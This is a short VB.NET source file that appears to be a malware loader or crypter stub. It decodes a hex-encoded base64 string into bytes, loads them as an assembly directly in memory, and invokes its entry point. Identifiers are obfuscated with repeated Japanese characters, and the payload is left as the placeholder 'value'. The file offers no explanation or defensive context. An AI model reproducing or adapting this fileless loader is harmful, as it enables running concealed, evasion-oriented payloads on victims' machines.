source 5613

Module Module1

    Public Function Hex2String(ByVal input As String) As String
        Dim out As New System.Text.StringBuilder
        Dim data As String() = Split(input, " ")
        For Each s As String In data
            out.Append(Chr("&H" & s))
        Next
        Return out.ToString
    End Function

    Sub main()



        Dim a As String = "value"
        Dim b As Byte() = Convert.FromBase64String(Hex2String(a))

        Dim r2 As Object = AppDomain.CurrentDomain

        Dim 日本国日本国日本国 As Object = AppDomain.CurrentDomain.Load(b).EntryPoint
        日本国日本国日本国.Invoke("日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国日本国", Nothing)
    End Sub



End Module